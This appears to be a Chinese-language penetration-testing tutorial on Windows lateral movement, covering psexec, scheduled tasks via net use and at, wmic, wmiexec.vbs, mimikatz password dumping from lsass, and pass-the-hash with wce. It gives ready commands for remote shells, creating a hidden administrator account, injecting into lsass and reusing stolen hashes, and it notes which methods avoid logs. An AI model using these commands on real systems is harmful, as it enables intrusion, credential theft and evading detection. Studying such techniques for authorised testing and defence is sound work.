(该文参考整理自网上文章,相关链接附于文末)
远程命令执行
PSEXEC
psexec是pstools工具包中的一个工具,可在微软官网直接下载。是轻型的 telnet 替代工具,它使您无需手动安装客户端软件即可执行其他系统上的进程,并且可以获得与控制台应用程序相当的完全交互性。PsExec 最强大的功能之一是在远程系统和远程支持工具(如 IpConfig)中启动交互式命令提示窗口,以便显示无法通过其他方式显示的有关远程系统的信息。
psexec针对远程建立连接的认证方式有两种,一种先建立ipc连接,然后直接用psexec \192.168.1.2 cmd命令开启一个半交互式的cmdshell,另一种是在psexec的参数中指定账号密码。
执行原理
1、通过ipc$连接,释放psexesvc.exe到目标。
2、通过服务管理SCManager远程创建psexecsvc服务,并启动服务。
3、客户端连接执行命令,服务端启动相应的程序并执行回显数据。
(运行完后删除服务。这个在windows的日志中有详细的记录,另外psexec在少数情况下会出现服务没删除成功的bug,所以一般来讲不太推荐在渗透时使用psexec,可用wmic,wmiexec等)
常用命令
获取管理员用户权限的交互式 shell
psexec \192.168.17.138 -u Administrator -p pass cmd
获取普通用户权限的交互式 shell,要想获取管理员权限 shell ,需要添加-h 参数。
psexec \192.168.17.138 -u test -p pass cmd
在远程系统上以 system 权限执行单条命令,有时回显只有一行,原因尚不清楚。
psexec \192.168.17.138 -u Administrator -p pass -s cmd /c "quser"
在远程系统上执行 bat 脚本
psexec \192.168.17.138 -u Administrator -p pass c:programdata est.bat
拷贝文件到远程机器并以交互方式运行,运行结束后会删除
psexec \192.168.17.138 -c C:Users estDesktopGetHashes.exe
其它参数
–accepteula 第一次运行会弹框,输入这个参数便不会弹框
s 以 “nt authoritysystem” 权限运行远程进程
h 如果可以,以管理员权限运行远程进程
d 不等待程序执行完就返回,请只对非交互式应用程序使用此选项
\ip 可以替换成 @ip.txt (存放多个 ip 的文本),可以批量执行命令
工具说明
需要远程系统开启 ADMIN$ 共享
建立 ipc 连接后可以不指定用户名和密码
不能仅拷贝文件不执行,只需要拷贝时可以建立 ipc 连接后c opy
在启动psExec建立连接之后,远程系统上会被安装一个服务:PSEXESVC。安装服务会留下日志,而且psexec退出时有可能服务删除失败,所以不推荐使用psexec
net use+at
建立一个ipc连接
net use \192.168.17.138C$ "pass" /u:"workgroupAdministrator"
拷贝文件到远程系统上
copy s.exe \192.168.17.138c$RECYCLER
查看远程主机当前时间
net time \192.168.17.138
添加计划任务在远程系统上执行命令
at \192.168.17.138 15:18 cmd.exe /c "ipconfig /all >c:programdataerror.log"
添加计划任务在远程系统上执行bat脚本
at \192.168.17.138 15:18 c:programdata est.bat
查看at任务列表
at \192.168.17.138
删除at计划任务,运行完成后一定要删除计划任务!
at \192.168.17.138 1 /delete
查看所有ipc连接
net use
删除指定ipc连接
net use \192.168.17.138C$ /del
删除所有ipc连接(删除前记得确认是否都是自己测试中建立的连接)
net use * /del /y
WMIC
WMI 的全称是 Windows Management Instrumentation,它出现在所有的 Windows操作系统中,并由一组强大的工具集合组成,用于管理本地或远程的 Windows 系统,攻击者使用 wmi 来进行攻击,但 Windows 系统默认不会在日志中记录这些操作,可以做到无日志,攻击脚本无需写入到磁盘,增加了隐蔽性。推荐使用 wmic 进行远程执行命令。
常用命令
在远程系统上执行 bat 脚本
wmic /node:192.168.17.138 /user:test /password:pass process call create c:programdata est.bat
在远程系统上执行单条命令
wmic /node:192.168.17.138 /user:test /password:pass process call create "cmd.exe /c net user test1 !@#123QWE /add && net localgroup administrators test1 /add
工具说明
1、需要远程系统启动 Windows Management Instrumentation 服务,开放135端口
2、远程系统的本地安全策略的“网络访问: 本地帐户的共享和安全模式”应设为“经典-本地用户以自己的身份验证”
3、wmic 会以管理员权限在远程系统上执行命令
4、防火墙开启将无法连接
5、如果报错 “Invalid Global Switch” ,用双引号把包含-的结点括起来即可正常执行。
WMIEXEC
WMI 可以远程执行命令,大牛使用VBS脚本调用WMI来模拟 psexec 的功能,于是乎WMIEXEC 就诞生了。基本上psexec 能用的地方,这个脚本也能够使用。整个过程是先调用WMI通过账号密码或者NTLM认证(WCE注入)连接到远程计算机,然后如果提供了账号密码,则用这个账号密码建立一个到目标的IPC连接。随后WMI会建立一个共享文件夹,用于远程读取命令执行结果。 当用户输入命令时,WMI创建进程执行该命令,然后把结果输出到文件,这个文件位于之前创建的共享文件夹中。最后,通过FSO组件访问远程共享文件夹中的结果文件,将结果输出。当结果读取完成时,调用WMI执行命令删除结果文件。最后当WMIEXEC退出时,删除文件共享。
常用命令
获取半交互式shell
cscript.exe //nologo wmiexec.vbs /shell 192.168.17.138 username password
在远程系统上执行单条命令
cscript.exe wmiexec.vbs /cmd 192.168.17.138 username password "cmdkey /list"
在远程系统上执行 bat 脚本
cscript.exe wmiexec.vbs /cmd 192.168.17.138 username password c:programdata est.bat
上面是提供账号密码的情况,如果有时候我们抓取到的是hash,破解不了时可以利用WCE的hash注入,然后再执行WMIEXEC(不提供账号密码)就可以了。
Tips:如果抓取的LM hash是AAD3开头的,或者是No Password之类的,就用32个0代替LM hash即可。
其它参数
-wait5000 表示这个命令等待5s后再读取结果,用于运行“运行时间长”的命令
(由于WMI只负责创建进程,没有办法可以判断命令是否执行完毕,所以脚本采用的方法是延迟1200ms后读取结果文件,但是如果命令执行的时间大于1200ms,比如systeminfo 或者ping之类的,这时候读取结果文件会导致读取的结果不完整,然后在删除结果文件时会出错。比如ping结果不能读取完整,而且命令执行完后目标服务器上的wmi.dll结果文件并没有被删除!为了防止出现这种情况,于是在shell模式里面加入了-waitTIME选项,TIME是要等待的时间。当执行的命令后面跟上-wait5000时,表示这个命令等待5s后再读取结果。)
-persist 程序会在后台运行,不会有结果输出
(由于正常的命令都要查看结果,所以执行的命令后面都会加上重定向符,把结果输出到文件中。 所以用这个执行木马会有问题,因为木马进程会一直存在,导致结果文件被占用,不能删除,也不能改写,如果执行不带任何参数的nc.exe也是这种效果 出现这种情况后由于结果文件被占用,所以WMIEXEC不能工作,除非手动更改脚本中的结果文件名。或者可以用taskkill 远程结束掉卡死的进程,然后WMIEXEC可以恢复工作。 为了解决这个问题,加入了-persist选项。 当命令加了persist选项后,程序会在后台运行,不会有结果输出,而且会返回这个命令进程的PID,方便结束进程。 这样就可以运行nc或者木马程序了)
下面这段代码在脚本的一开始,是控制结果文件路径、文件名、以及默认代码执行时
间的,可以自行更改。
Const Path = "C:"
Const FileName = "wmi.dll"
Const timeOut = 1200
工具说明
需要远程系统启动 Windows Management Instrumentation 服务,开放135端口
远程系统的本地安全策略的“网络访问: 本地帐户的共享和安全模式”应设为“经典-本地用户以自己的身份验证”
wmicexec.vbs 会以管理员权限在远程系统上执行命令
virustotal 显示 wmiexec.vbs 会被 Kaspersky、Symantec 和 ZoneAlarm查杀
mimikatz
mimikatz是一款功能强大的轻量级调试神器,通过它你可以提升进程权限注入进程读取进程内存,当然他最大的亮点是他可以直接从 lsass中获取当前处于Active系统的登录密码, lsass是微软Windows系统的安全机制它主要用于本地安全和登陆策略,通常我们在登陆系统时输入密码之后,密码便会储存在 lsass内存中,经过其 wdigest 和 tspkg 两个模块调用后,对其使用可逆的算法进行加密并存储在内存之中, 而mimikatz正是通过对lsass的逆算获取到明文密码!也就是说只要你不重启电脑,就可以通过他获取到登陆密码,只限当前登陆系统!
命令
- cls—————————–清屏
- exit—————————-退出
- version————查看mimikatz的版本
- system::user—–查看当前登录的系统用户
- system::computer——-查看计算机名称
- process::list——————列出进程
- process::suspend 进程名称 —–暂停进程
- process::stop 进程名称———结束进程
- process::modules –列出系统的核心模块及所在位置
- service::list—————列出系统的服务
- service::remove———–移除系统的服务
- service::start stop 服务名称–启动或停止服务
- privilege::list—————列出权限列表
- privilege::enable——–激活一个或多个权限
- privilege::debug—————–提升权限
- nogpo::cmd————打开系统的cmd.exe
- nogpo::regedit ———–打开系统的注册表
- nogpo::taskmgr————-打开任务管理器
- ts::sessions—————–显示当前的会话
- ts::processes——显示进程和对应的pid情况等
- sekurlsa::wdigest—–获取本地用户信息及密码
- sekurlsa::tspkg——获取tspkg用户信息及密码
- sekurlsa::logonPasswords–获登陆用户信息及密码
获取windows 登陆密码
第一步:根据你系统选择对应的版本,双击打开
第二步:输入输入privilege::debug 提升权限
第三步:输入inject::process lsass.exe sekurlsa.dll 将sekurlsa.dll 注入到lsass.exe 中
第四步:输入sekurlsa::logonPasswords full 即可获取hash和当前用户的明文密码
哈希传递攻击(Pass The Hash,PTH)
如果内网主机的本地管理员账户密码相同,那么可以通过pass the hash远程登录到任意一台主机,操作简单、威力无穷。
在域环境中,利用pass the hash的渗透方式往往是这样的:
- 获得一台域主机的权限
- Dump内存获得用户hash
- 通过pass the hash尝试登录其他主机
- 继续搜集hash并尝试远程登录
- 直到获得域管理员账户hash,登录域控,最终成功控制整个域
原理
- 在Windows系统中,通常会使用NTLM身份认证
- NTLM认证不使用明文口令,而是使用口令加密后的hash值,hash值由系统API生成(例如LsaLogonUser)
- hash分为LM hash和NT hash,如果密码长度大于15,那么无法生成LM hash。从Windows Vista和Windows Server 2008开始,微软默认禁用LM hash
- 如果攻击者获得了hash,就能够在身份验证的时候模拟该用户(即跳过调用API生成hash的过程)
使用wce进行hash注入
在内网渗透时,很经常会碰到好不容易提取出了hash,但是无法破解。
wce号称内网渗透神器,其中有一个功能就是hash注入。
测试环境:
目标 windows2008 【192.168.200.128】hash如下:
测试机:
windows7【192.168.200.5】
在无法破解192.168.200.128的administrator密码时,我们可以采用hash注入
先dir目标的c$(前提是目标有开启C盘共享)
会提示账号密码错误。
使用wce
格式: wce.exe -s 账号:主机名或域的名字:LM:NTLM
提示注入完成。
再dir目标机器的C盘试试
参考: